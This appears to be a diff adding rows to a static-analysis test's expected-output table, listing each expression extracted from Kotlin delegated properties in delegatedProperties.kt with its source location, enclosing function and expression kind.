+| delegatedProperties.kt:69:36:69:56 | a0 | delegatedProperties.kt:69:36:69:56 | get | VarAccess |
+| delegatedProperties.kt:69:36:69:56 | a0 | delegatedProperties.kt:69:36:69:56 | get | VarAccess |
+| delegatedProperties.kt:69:36:69:56 | a0 | delegatedProperties.kt:69:36:69:56 | invoke | VarAccess |
+| delegatedProperties.kt:69:36:69:56 | a0 | delegatedProperties.kt:69:36:69:56 | invoke | VarAccess |
+| delegatedProperties.kt:69:36:69:56 | a0 | delegatedProperties.kt:69:36:69:56 | set | VarAccess |
+| delegatedProperties.kt:69:36:69:56 | a0 | delegatedProperties.kt:69:36:69:56 | set | VarAccess |
+| delegatedProperties.kt:69:36:69:56 | a1 | delegatedProperties.kt:69:36:69:56 | set | VarAccess |
+| delegatedProperties.kt:69:36:69:56 | a1 | delegatedProperties.kt:69:36:69:56 | set | VarAccess |
+| delegatedProperties.kt:69:36:69:56 | delegatedToExtMember1$delegate | delegatedProperties.kt:65:1:85:1 | MyClass | VarAccess |
+| delegatedProperties.kt:69:36:69:56 | get(...) | delegatedProperties.kt:69:36:69:56 | invoke | MethodAccess |
+| delegatedProperties.kt:69:36:69:56 | get(...) | delegatedProperties.kt:69:36:69:56 | invoke | MethodAccess |
+| delegatedProperties.kt:69:36:69:56 | getDelegatedToExtMember1(...) | delegatedProperties.kt:69:36:69:56 | get | MethodAccess |
+| delegatedProperties.kt:69:36:69:56 | getDelegatedToExtMember1(...) | delegatedProperties.kt:69:36:69:56 | get | MethodAccess |
+| delegatedProperties.kt:69:36:69:56 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:69:36:69:56 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:69:36:69:56 | setDelegatedToExtMember1(...) | delegatedProperties.kt:69:36:69:56 | set | MethodAccess |
+| delegatedProperties.kt:69:36:69:56 | setDelegatedToExtMember1(...) | delegatedProperties.kt:69:36:69:56 | set | MethodAccess |
+| delegatedProperties.kt:69:36:69:56 | this | delegatedProperties.kt:69:36:69:56 | getDelegatedToExtMember1 | ThisAccess |
+| delegatedProperties.kt:69:36:69:56 | this | delegatedProperties.kt:69:36:69:56 | invoke | ThisAccess |
+| delegatedProperties.kt:69:36:69:56 | this | delegatedProperties.kt:69:36:69:56 | invoke | ThisAccess |
+| delegatedProperties.kt:69:36:69:56 | this | delegatedProperties.kt:69:36:69:56 | setDelegatedToExtMember1 | ThisAccess |
+| delegatedProperties.kt:69:36:69:56 | this.delegatedToExtMember1$delegate | delegatedProperties.kt:69:36:69:56 | getDelegatedToExtMember1 | VarAccess |
+| delegatedProperties.kt:69:36:69:56 | this.delegatedToExtMember1$delegate | delegatedProperties.kt:69:36:69:56 | setDelegatedToExtMember1 | VarAccess |
+| delegatedProperties.kt:69:39:69:42 | MyClass | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:69:39:69:42 | MyClass.this | delegatedProperties.kt:65:1:85:1 | MyClass | ThisAccess |
+| delegatedProperties.kt:69:39:69:56 | ...::... | delegatedProperties.kt:65:1:85:1 | MyClass | PropertyRefExpr |
+| delegatedProperties.kt:69:39:69:56 | ...=... | delegatedProperties.kt:69:39:69:56 |  | AssignExpr |
+| delegatedProperties.kt:69:39:69:56 | <extensionReceiver> | delegatedProperties.kt:69:39:69:56 |  | VarAccess |
+| delegatedProperties.kt:69:39:69:56 | <set-?> | delegatedProperties.kt:69:36:69:56 | setDelegatedToExtMember1 | VarAccess |
+| delegatedProperties.kt:69:39:69:56 | DelegatedPropertiesKt | delegatedProperties.kt:69:39:69:56 | get | TypeAccess |
+| delegatedProperties.kt:69:39:69:56 | DelegatedPropertiesKt | delegatedProperties.kt:69:39:69:56 | set | TypeAccess |
+| delegatedProperties.kt:69:39:69:56 | Integer | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:69:39:69:56 | Integer | delegatedProperties.kt:69:36:69:56 | getDelegatedToExtMember1 | TypeAccess |
+| delegatedProperties.kt:69:39:69:56 | Integer | delegatedProperties.kt:69:36:69:56 | setDelegatedToExtMember1 | TypeAccess |
+| delegatedProperties.kt:69:39:69:56 | KMutableProperty0<Integer> | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:69:39:69:56 | MyClass | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:69:39:69:56 | PropertyReferenceDelegatesKt | delegatedProperties.kt:69:36:69:56 | getDelegatedToExtMember1 | TypeAccess |
+| delegatedProperties.kt:69:39:69:56 | PropertyReferenceDelegatesKt | delegatedProperties.kt:69:36:69:56 | setDelegatedToExtMember1 | TypeAccess |
+| delegatedProperties.kt:69:39:69:56 | a0 | delegatedProperties.kt:69:39:69:56 | set | VarAccess |
+| delegatedProperties.kt:69:39:69:56 | get(...) | delegatedProperties.kt:69:39:69:56 | invoke | MethodAccess |
+| delegatedProperties.kt:69:39:69:56 | getExtDelegated(...) | delegatedProperties.kt:69:39:69:56 | get | MethodAccess |
+| delegatedProperties.kt:69:39:69:56 | getValue(...) | delegatedProperties.kt:69:36:69:56 | getDelegatedToExtMember1 | MethodAccess |
+| delegatedProperties.kt:69:39:69:56 | setExtDelegated(...) | delegatedProperties.kt:69:39:69:56 | set | MethodAccess |
+| delegatedProperties.kt:69:39:69:56 | setValue(...) | delegatedProperties.kt:69:36:69:56 | setDelegatedToExtMember1 | MethodAccess |
+| delegatedProperties.kt:69:39:69:56 | this | delegatedProperties.kt:69:39:69:56 |  | ThisAccess |
+| delegatedProperties.kt:69:39:69:56 | this | delegatedProperties.kt:69:39:69:56 | get | ThisAccess |
+| delegatedProperties.kt:69:39:69:56 | this | delegatedProperties.kt:69:39:69:56 | invoke | ThisAccess |
+| delegatedProperties.kt:69:39:69:56 | this | delegatedProperties.kt:69:39:69:56 | set | ThisAccess |
+| delegatedProperties.kt:69:39:69:56 | this.<extensionReceiver> | delegatedProperties.kt:69:39:69:56 |  | VarAccess |
+| delegatedProperties.kt:69:39:69:56 | this.<extensionReceiver> | delegatedProperties.kt:69:39:69:56 | get | VarAccess |
+| delegatedProperties.kt:69:39:69:56 | this.<extensionReceiver> | delegatedProperties.kt:69:39:69:56 | set | VarAccess |
+| delegatedProperties.kt:70:36:70:59 | ...::... | delegatedProperties.kt:70:36:70:59 | getDelegatedToExtMember2 | PropertyRefExpr |
+| delegatedProperties.kt:70:36:70:59 | ...::... | delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2 | PropertyRefExpr |
+| delegatedProperties.kt:70:36:70:59 | ...=... | delegatedProperties.kt:65:1:85:1 | MyClass | KtInitializerAssignExpr |
+| delegatedProperties.kt:70:36:70:59 | Integer | delegatedProperties.kt:70:36:70:59 | getDelegatedToExtMember2 | TypeAccess |
+| delegatedProperties.kt:70:36:70:59 | Integer | delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2 | TypeAccess |
+| delegatedProperties.kt:70:36:70:59 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:70:36:70:59 | KMutableProperty1<MyClass,Integer> | delegatedProperties.kt:70:36:70:59 | getDelegatedToExtMember2 | TypeAccess |
+| delegatedProperties.kt:70:36:70:59 | KMutableProperty1<MyClass,Integer> | delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2 | TypeAccess |
+| delegatedProperties.kt:70:36:70:59 | KMutableProperty1<MyClass,Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:70:36:70:59 | MyClass | delegatedProperties.kt:70:36:70:59 | getDelegatedToExtMember2 | TypeAccess |
+| delegatedProperties.kt:70:36:70:59 | MyClass | delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2 | TypeAccess |
+| delegatedProperties.kt:70:36:70:59 | MyClass | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:70:36:70:59 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:70:36:70:59 | a0 | delegatedProperties.kt:70:36:70:59 | get | VarAccess |
+| delegatedProperties.kt:70:36:70:59 | a0 | delegatedProperties.kt:70:36:70:59 | get | VarAccess |
+| delegatedProperties.kt:70:36:70:59 | a0 | delegatedProperties.kt:70:36:70:59 | invoke | VarAccess |
+| delegatedProperties.kt:70:36:70:59 | a0 | delegatedProperties.kt:70:36:70:59 | invoke | VarAccess |
+| delegatedProperties.kt:70:36:70:59 | a0 | delegatedProperties.kt:70:36:70:59 | set | VarAccess |
+| delegatedProperties.kt:70:36:70:59 | a0 | delegatedProperties.kt:70:36:70:59 | set | VarAccess |
+| delegatedProperties.kt:70:36:70:59 | a1 | delegatedProperties.kt:70:36:70:59 | set | VarAccess |
+| delegatedProperties.kt:70:36:70:59 | a1 | delegatedProperties.kt:70:36:70:59 | set | VarAccess |
+| delegatedProperties.kt:70:36:70:59 | delegatedToExtMember2$delegate | delegatedProperties.kt:65:1:85:1 | MyClass | VarAccess |
+| delegatedProperties.kt:70:36:70:59 | get(...) | delegatedProperties.kt:70:36:70:59 | invoke | MethodAccess |
+| delegatedProperties.kt:70:36:70:59 | get(...) | delegatedProperties.kt:70:36:70:59 | invoke | MethodAccess |
+| delegatedProperties.kt:70:36:70:59 | getDelegatedToExtMember2(...) | delegatedProperties.kt:70:36:70:59 | get | MethodAccess |
+| delegatedProperties.kt:70:36:70:59 | getDelegatedToExtMember2(...) | delegatedProperties.kt:70:36:70:59 | get | MethodAccess |
+| delegatedProperties.kt:70:36:70:59 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:70:36:70:59 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2(...) | delegatedProperties.kt:70:36:70:59 | set | MethodAccess |
+| delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2(...) | delegatedProperties.kt:70:36:70:59 | set | MethodAccess |
+| delegatedProperties.kt:70:36:70:59 | this | delegatedProperties.kt:70:36:70:59 | getDelegatedToExtMember2 | ThisAccess |
+| delegatedProperties.kt:70:36:70:59 | this | delegatedProperties.kt:70:36:70:59 | invoke | ThisAccess |
+| delegatedProperties.kt:70:36:70:59 | this | delegatedProperties.kt:70:36:70:59 | invoke | ThisAccess |
+| delegatedProperties.kt:70:36:70:59 | this | delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2 | ThisAccess |
+| delegatedProperties.kt:70:36:70:59 | this.delegatedToExtMember2$delegate | delegatedProperties.kt:70:36:70:59 | getDelegatedToExtMember2 | VarAccess |
+| delegatedProperties.kt:70:36:70:59 | this.delegatedToExtMember2$delegate | delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2 | VarAccess |
+| delegatedProperties.kt:70:39:70:59 | ...::... | delegatedProperties.kt:65:1:85:1 | MyClass | PropertyRefExpr |
+| delegatedProperties.kt:70:39:70:59 | <set-?> | delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2 | VarAccess |
+| delegatedProperties.kt:70:39:70:59 | DelegatedPropertiesKt | delegatedProperties.kt:70:39:70:59 | get | TypeAccess |
+| delegatedProperties.kt:70:39:70:59 | DelegatedPropertiesKt | delegatedProperties.kt:70:39:70:59 | set | TypeAccess |
+| delegatedProperties.kt:70:39:70:59 | Integer | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:70:39:70:59 | Integer | delegatedProperties.kt:70:36:70:59 | getDelegatedToExtMember2 | TypeAccess |
+| delegatedProperties.kt:70:39:70:59 | Integer | delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2 | TypeAccess |
+| delegatedProperties.kt:70:39:70:59 | KMutableProperty1<MyClass,Integer> | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:70:39:70:59 | MyClass | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:70:39:70:59 | MyClass | delegatedProperties.kt:70:36:70:59 | getDelegatedToExtMember2 | TypeAccess |
+| delegatedProperties.kt:70:39:70:59 | MyClass | delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2 | TypeAccess |
+| delegatedProperties.kt:70:39:70:59 | PropertyReferenceDelegatesKt | delegatedProperties.kt:70:36:70:59 | getDelegatedToExtMember2 | TypeAccess |
+| delegatedProperties.kt:70:39:70:59 | PropertyReferenceDelegatesKt | delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2 | TypeAccess |
+| delegatedProperties.kt:70:39:70:59 | a0 | delegatedProperties.kt:70:39:70:59 | get | VarAccess |
+| delegatedProperties.kt:70:39:70:59 | a0 | delegatedProperties.kt:70:39:70:59 | invoke | VarAccess |
+| delegatedProperties.kt:70:39:70:59 | a0 | delegatedProperties.kt:70:39:70:59 | set | VarAccess |
+| delegatedProperties.kt:70:39:70:59 | a1 | delegatedProperties.kt:70:39:70:59 | set | VarAccess |
+| delegatedProperties.kt:70:39:70:59 | get(...) | delegatedProperties.kt:70:39:70:59 | invoke | MethodAccess |
+| delegatedProperties.kt:70:39:70:59 | getExtDelegated(...) | delegatedProperties.kt:70:39:70:59 | get | MethodAccess |
+| delegatedProperties.kt:70:39:70:59 | getValue(...) | delegatedProperties.kt:70:36:70:59 | getDelegatedToExtMember2 | MethodAccess |
+| delegatedProperties.kt:70:39:70:59 | setExtDelegated(...) | delegatedProperties.kt:70:39:70:59 | set | MethodAccess |
+| delegatedProperties.kt:70:39:70:59 | setValue(...) | delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2 | MethodAccess |
+| delegatedProperties.kt:70:39:70:59 | this | delegatedProperties.kt:70:39:70:59 | invoke | ThisAccess |
+| delegatedProperties.kt:72:36:72:56 | ...::... | delegatedProperties.kt:72:36:72:56 | getDelegatedToBaseClass1 | PropertyRefExpr |
+| delegatedProperties.kt:72:36:72:56 | ...=... | delegatedProperties.kt:65:1:85:1 | MyClass | KtInitializerAssignExpr |
+| delegatedProperties.kt:72:36:72:56 | Integer | delegatedProperties.kt:72:36:72:56 | getDelegatedToBaseClass1 | TypeAccess |
+| delegatedProperties.kt:72:36:72:56 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:72:36:72:56 | KProperty0<Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:72:36:72:56 | KProperty1<MyClass,Integer> | delegatedProperties.kt:72:36:72:56 | getDelegatedToBaseClass1 | TypeAccess |
+| delegatedProperties.kt:72:36:72:56 | MyClass | delegatedProperties.kt:72:36:72:56 | getDelegatedToBaseClass1 | TypeAccess |
+| delegatedProperties.kt:72:36:72:56 | a0 | delegatedProperties.kt:72:36:72:56 | get | VarAccess |
+| delegatedProperties.kt:72:36:72:56 | a0 | delegatedProperties.kt:72:36:72:56 | invoke | VarAccess |
+| delegatedProperties.kt:72:36:72:56 | delegatedToBaseClass1$delegate | delegatedProperties.kt:65:1:85:1 | MyClass | VarAccess |
+| delegatedProperties.kt:72:36:72:56 | get(...) | delegatedProperties.kt:72:36:72:56 | invoke | MethodAccess |
+| delegatedProperties.kt:72:36:72:56 | getDelegatedToBaseClass1(...) | delegatedProperties.kt:72:36:72:56 | get | MethodAccess |
+| delegatedProperties.kt:72:36:72:56 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:72:36:72:56 | this | delegatedProperties.kt:72:36:72:56 | getDelegatedToBaseClass1 | ThisAccess |
+| delegatedProperties.kt:72:36:72:56 | this | delegatedProperties.kt:72:36:72:56 | invoke | ThisAccess |
+| delegatedProperties.kt:72:36:72:56 | this.delegatedToBaseClass1$delegate | delegatedProperties.kt:72:36:72:56 | getDelegatedToBaseClass1 | VarAccess |
+| delegatedProperties.kt:72:39:72:42 | MyClass | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:72:39:72:42 | MyClass.this | delegatedProperties.kt:65:1:85:1 | MyClass | ThisAccess |
+| delegatedProperties.kt:72:39:72:56 | ...::... | delegatedProperties.kt:65:1:85:1 | MyClass | PropertyRefExpr |
+| delegatedProperties.kt:72:39:72:56 | ...=... | delegatedProperties.kt:72:39:72:56 |  | AssignExpr |
+| delegatedProperties.kt:72:39:72:56 | <dispatchReceiver> | delegatedProperties.kt:72:39:72:56 |  | VarAccess |
+| delegatedProperties.kt:72:39:72:56 | Integer | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:72:39:72:56 | Integer | delegatedProperties.kt:72:36:72:56 | getDelegatedToBaseClass1 | TypeAccess |
+| delegatedProperties.kt:72:39:72:56 | KProperty0<Integer> | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:72:39:72:56 | MyClass | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:72:39:72:56 | PropertyReferenceDelegatesKt | delegatedProperties.kt:72:36:72:56 | getDelegatedToBaseClass1 | TypeAccess |
+| delegatedProperties.kt:72:39:72:56 | get(...) | delegatedProperties.kt:72:39:72:56 | invoke | MethodAccess |
+| delegatedProperties.kt:72:39:72:56 | getBaseClassInt(...) | delegatedProperties.kt:72:39:72:56 | get | MethodAccess |
+| delegatedProperties.kt:72:39:72:56 | getValue(...) | delegatedProperties.kt:72:36:72:56 | getDelegatedToBaseClass1 | MethodAccess |
+| delegatedProperties.kt:72:39:72:56 | this | delegatedProperties.kt:72:39:72:56 |  | ThisAccess |
+| delegatedProperties.kt:72:39:72:56 | this | delegatedProperties.kt:72:39:72:56 | get | ThisAccess |
+| delegatedProperties.kt:72:39:72:56 | this | delegatedProperties.kt:72:39:72:56 | invoke | ThisAccess |
+| delegatedProperties.kt:72:39:72:56 | this.<dispatchReceiver> | delegatedProperties.kt:72:39:72:56 |  | VarAccess |
+| delegatedProperties.kt:72:39:72:56 | this.<dispatchReceiver> | delegatedProperties.kt:72:39:72:56 | get | VarAccess |
+| delegatedProperties.kt:73:36:73:56 | ...::... | delegatedProperties.kt:73:36:73:56 | getDelegatedToBaseClass2 | PropertyRefExpr |
+| delegatedProperties.kt:73:36:73:56 | ...=... | delegatedProperties.kt:65:1:85:1 | MyClass | KtInitializerAssignExpr |
+| delegatedProperties.kt:73:36:73:56 | Base | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:73:36:73:56 | Integer | delegatedProperties.kt:73:36:73:56 | getDelegatedToBaseClass2 | TypeAccess |
+| delegatedProperties.kt:73:36:73:56 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:73:36:73:56 | KProperty1<Base,Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:73:36:73:56 | KProperty1<MyClass,Integer> | delegatedProperties.kt:73:36:73:56 | getDelegatedToBaseClass2 | TypeAccess |
+| delegatedProperties.kt:73:36:73:56 | MyClass | delegatedProperties.kt:73:36:73:56 | getDelegatedToBaseClass2 | TypeAccess |
+| delegatedProperties.kt:73:36:73:56 | a0 | delegatedProperties.kt:73:36:73:56 | get | VarAccess |
+| delegatedProperties.kt:73:36:73:56 | a0 | delegatedProperties.kt:73:36:73:56 | invoke | VarAccess |
+| delegatedProperties.kt:73:36:73:56 | delegatedToBaseClass2$delegate | delegatedProperties.kt:65:1:85:1 | MyClass | VarAccess |
+| delegatedProperties.kt:73:36:73:56 | get(...) | delegatedProperties.kt:73:36:73:56 | invoke | MethodAccess |
+| delegatedProperties.kt:73:36:73:56 | getDelegatedToBaseClass2(...) | delegatedProperties.kt:73:36:73:56 | get | MethodAccess |
+| delegatedProperties.kt:73:36:73:56 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:73:36:73:56 | this | delegatedProperties.kt:73:36:73:56 | getDelegatedToBaseClass2 | ThisAccess |
+| delegatedProperties.kt:73:36:73:56 | this | delegatedProperties.kt:73:36:73:56 | invoke | ThisAccess |
+| delegatedProperties.kt:73:36:73:56 | this.delegatedToBaseClass2$delegate | delegatedProperties.kt:73:36:73:56 | getDelegatedToBaseClass2 | VarAccess |
+| delegatedProperties.kt:73:39:73:56 | ...::... | delegatedProperties.kt:65:1:85:1 | MyClass | PropertyRefExpr |
+| delegatedProperties.kt:73:39:73:56 | Base | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:73:39:73:56 | Base | delegatedProperties.kt:73:36:73:56 | getDelegatedToBaseClass2 | TypeAccess |
+| delegatedProperties.kt:73:39:73:56 | Integer | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:73:39:73:56 | Integer | delegatedProperties.kt:73:36:73:56 | getDelegatedToBaseClass2 | TypeAccess |
+| delegatedProperties.kt:73:39:73:56 | KProperty1<Base,Integer> | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:73:39:73:56 | PropertyReferenceDelegatesKt | delegatedProperties.kt:73:36:73:56 | getDelegatedToBaseClass2 | TypeAccess |
+| delegatedProperties.kt:73:39:73:56 | a0 | delegatedProperties.kt:73:39:73:56 | get | VarAccess |
+| delegatedProperties.kt:73:39:73:56 | a0 | delegatedProperties.kt:73:39:73:56 | invoke | VarAccess |
+| delegatedProperties.kt:73:39:73:56 | get(...) | delegatedProperties.kt:73:39:73:56 | invoke | MethodAccess |
+| delegatedProperties.kt:73:39:73:56 | getBaseClassInt(...) | delegatedProperties.kt:73:39:73:56 | get | MethodAccess |
+| delegatedProperties.kt:73:39:73:56 | getValue(...) | delegatedProperties.kt:73:36:73:56 | getDelegatedToBaseClass2 | MethodAccess |
+| delegatedProperties.kt:73:39:73:56 | this | delegatedProperties.kt:73:39:73:56 | invoke | ThisAccess |
+| delegatedProperties.kt:75:39:75:78 | ...::... | delegatedProperties.kt:75:39:75:78 | getDelegatedToAnotherClass1 | PropertyRefExpr |
+| delegatedProperties.kt:75:39:75:78 | ...=... | delegatedProperties.kt:65:1:85:1 | MyClass | KtInitializerAssignExpr |
+| delegatedProperties.kt:75:39:75:78 | Integer | delegatedProperties.kt:75:39:75:78 | getDelegatedToAnotherClass1 | TypeAccess |
+| delegatedProperties.kt:75:39:75:78 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:75:39:75:78 | KProperty0<Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:75:39:75:78 | KProperty1<MyClass,Integer> | delegatedProperties.kt:75:39:75:78 | getDelegatedToAnotherClass1 | TypeAccess |
+| delegatedProperties.kt:75:39:75:78 | MyClass | delegatedProperties.kt:75:39:75:78 | getDelegatedToAnotherClass1 | TypeAccess |
+| delegatedProperties.kt:75:39:75:78 | a0 | delegatedProperties.kt:75:39:75:78 | get | VarAccess |
+| delegatedProperties.kt:75:39:75:78 | a0 | delegatedProperties.kt:75:39:75:78 | invoke | VarAccess |
+| delegatedProperties.kt:75:39:75:78 | delegatedToAnotherClass1$delegate | delegatedProperties.kt:65:1:85:1 | MyClass | VarAccess |
+| delegatedProperties.kt:75:39:75:78 | get(...) | delegatedProperties.kt:75:39:75:78 | invoke | MethodAccess |
+| delegatedProperties.kt:75:39:75:78 | getDelegatedToAnotherClass1(...) | delegatedProperties.kt:75:39:75:78 | get | MethodAccess |
+| delegatedProperties.kt:75:39:75:78 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:75:39:75:78 | this | delegatedProperties.kt:75:39:75:78 | getDelegatedToAnotherClass1 | ThisAccess |
+| delegatedProperties.kt:75:39:75:78 | this | delegatedProperties.kt:75:39:75:78 | invoke | ThisAccess |
+| delegatedProperties.kt:75:39:75:78 | this.delegatedToAnotherClass1$delegate | delegatedProperties.kt:75:39:75:78 | getDelegatedToAnotherClass1 | VarAccess |
+| delegatedProperties.kt:75:42:75:61 | MyClass | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:75:42:75:61 | MyClass.this | delegatedProperties.kt:65:1:85:1 | MyClass | ThisAccess |
+| delegatedProperties.kt:75:42:75:61 | getAnotherClassInstance(...) | delegatedProperties.kt:65:1:85:1 | MyClass | MethodAccess |
+| delegatedProperties.kt:75:42:75:78 | ...::... | delegatedProperties.kt:65:1:85:1 | MyClass | PropertyRefExpr |
+| delegatedProperties.kt:75:42:75:78 | ...=... | delegatedProperties.kt:75:42:75:78 |  | AssignExpr |
+| delegatedProperties.kt:75:42:75:78 | <dispatchReceiver> | delegatedProperties.kt:75:42:75:78 |  | VarAccess |
+| delegatedProperties.kt:75:42:75:78 | ClassWithDelegate | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:75:42:75:78 | Integer | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:75:42:75:78 | Integer | delegatedProperties.kt:75:39:75:78 | getDelegatedToAnotherClass1 | TypeAccess |
+| delegatedProperties.kt:75:42:75:78 | KProperty0<Integer> | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:75:42:75:78 | PropertyReferenceDelegatesKt | delegatedProperties.kt:75:39:75:78 | getDelegatedToAnotherClass1 | TypeAccess |
+| delegatedProperties.kt:75:42:75:78 | get(...) | delegatedProperties.kt:75:42:75:78 | invoke | MethodAccess |
+| delegatedProperties.kt:75:42:75:78 | getAnotherClassInt(...) | delegatedProperties.kt:75:42:75:78 | get | MethodAccess |
+| delegatedProperties.kt:75:42:75:78 | getValue(...) | delegatedProperties.kt:75:39:75:78 | getDelegatedToAnotherClass1 | MethodAccess |
+| delegatedProperties.kt:75:42:75:78 | this | delegatedProperties.kt:75:42:75:78 |  | ThisAccess |
+| delegatedProperties.kt:75:42:75:78 | this | delegatedProperties.kt:75:42:75:78 | get | ThisAccess |
+| delegatedProperties.kt:75:42:75:78 | this | delegatedProperties.kt:75:42:75:78 | invoke | ThisAccess |
+| delegatedProperties.kt:75:42:75:78 | this.<dispatchReceiver> | delegatedProperties.kt:75:42:75:78 |  | VarAccess |
+| delegatedProperties.kt:75:42:75:78 | this.<dispatchReceiver> | delegatedProperties.kt:75:42:75:78 | get | VarAccess |
+| delegatedProperties.kt:77:34:77:49 | ...::... | delegatedProperties.kt:77:34:77:49 | getDelegatedToTopLevel | PropertyRefExpr |
+| delegatedProperties.kt:77:34:77:49 | ...::... | delegatedProperties.kt:77:34:77:49 | setDelegatedToTopLevel | PropertyRefExpr |
+| delegatedProperties.kt:77:34:77:49 | ...=... | delegatedProperties.kt:65:1:85:1 | MyClass | KtInitializerAssignExpr |
+| delegatedProperties.kt:77:34:77:49 | Integer | delegatedProperties.kt:77:34:77:49 | getDelegatedToTopLevel | TypeAccess |
+| delegatedProperties.kt:77:34:77:49 | Integer | delegatedProperties.kt:77:34:77:49 | setDelegatedToTopLevel | TypeAccess |
+| delegatedProperties.kt:77:34:77:49 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:77:34:77:49 | KMutableProperty0<Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:77:34:77:49 | KMutableProperty1<MyClass,Integer> | delegatedProperties.kt:77:34:77:49 | getDelegatedToTopLevel | TypeAccess |
+| delegatedProperties.kt:77:34:77:49 | KMutableProperty1<MyClass,Integer> | delegatedProperties.kt:77:34:77:49 | setDelegatedToTopLevel | TypeAccess |
+| delegatedProperties.kt:77:34:77:49 | MyClass | delegatedProperties.kt:77:34:77:49 | getDelegatedToTopLevel | TypeAccess |
+| delegatedProperties.kt:77:34:77:49 | MyClass | delegatedProperties.kt:77:34:77:49 | setDelegatedToTopLevel | TypeAccess |
+| delegatedProperties.kt:77:34:77:49 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:77:34:77:49 | a0 | delegatedProperties.kt:77:34:77:49 | get | VarAccess |
+| delegatedProperties.kt:77:34:77:49 | a0 | delegatedProperties.kt:77:34:77:49 | get | VarAccess |
+| delegatedProperties.kt:77:34:77:49 | a0 | delegatedProperties.kt:77:34:77:49 | invoke | VarAccess |
+| delegatedProperties.kt:77:34:77:49 | a0 | delegatedProperties.kt:77:34:77:49 | invoke | VarAccess |
+| delegatedProperties.kt:77:34:77:49 | a0 | delegatedProperties.kt:77:34:77:49 | set | VarAccess |
+| delegatedProperties.kt:77:34:77:49 | a0 | delegatedProperties.kt:77:34:77:49 | set | VarAccess |
+| delegatedProperties.kt:77:34:77:49 | a1 | delegatedProperties.kt:77:34:77:49 | set | VarAccess |
+| delegatedProperties.kt:77:34:77:49 | a1 | delegatedProperties.kt:77:34:77:49 | set | VarAccess |
+| delegatedProperties.kt:77:34:77:49 | delegatedToTopLevel$delegate | delegatedProperties.kt:65:1:85:1 | MyClass | VarAccess |
+| delegatedProperties.kt:77:34:77:49 | get(...) | delegatedProperties.kt:77:34:77:49 | invoke | MethodAccess |
+| delegatedProperties.kt:77:34:77:49 | get(...) | delegatedProperties.kt:77:34:77:49 | invoke | MethodAccess |
+| delegatedProperties.kt:77:34:77:49 | getDelegatedToTopLevel(...) | delegatedProperties.kt:77:34:77:49 | get | MethodAccess |
+| delegatedProperties.kt:77:34:77:49 | getDelegatedToTopLevel(...) | delegatedProperties.kt:77:34:77:49 | get | MethodAccess |
+| delegatedProperties.kt:77:34:77:49 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:77:34:77:49 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:77:34:77:49 | setDelegatedToTopLevel(...) | delegatedProperties.kt:77:34:77:49 | set | MethodAccess |
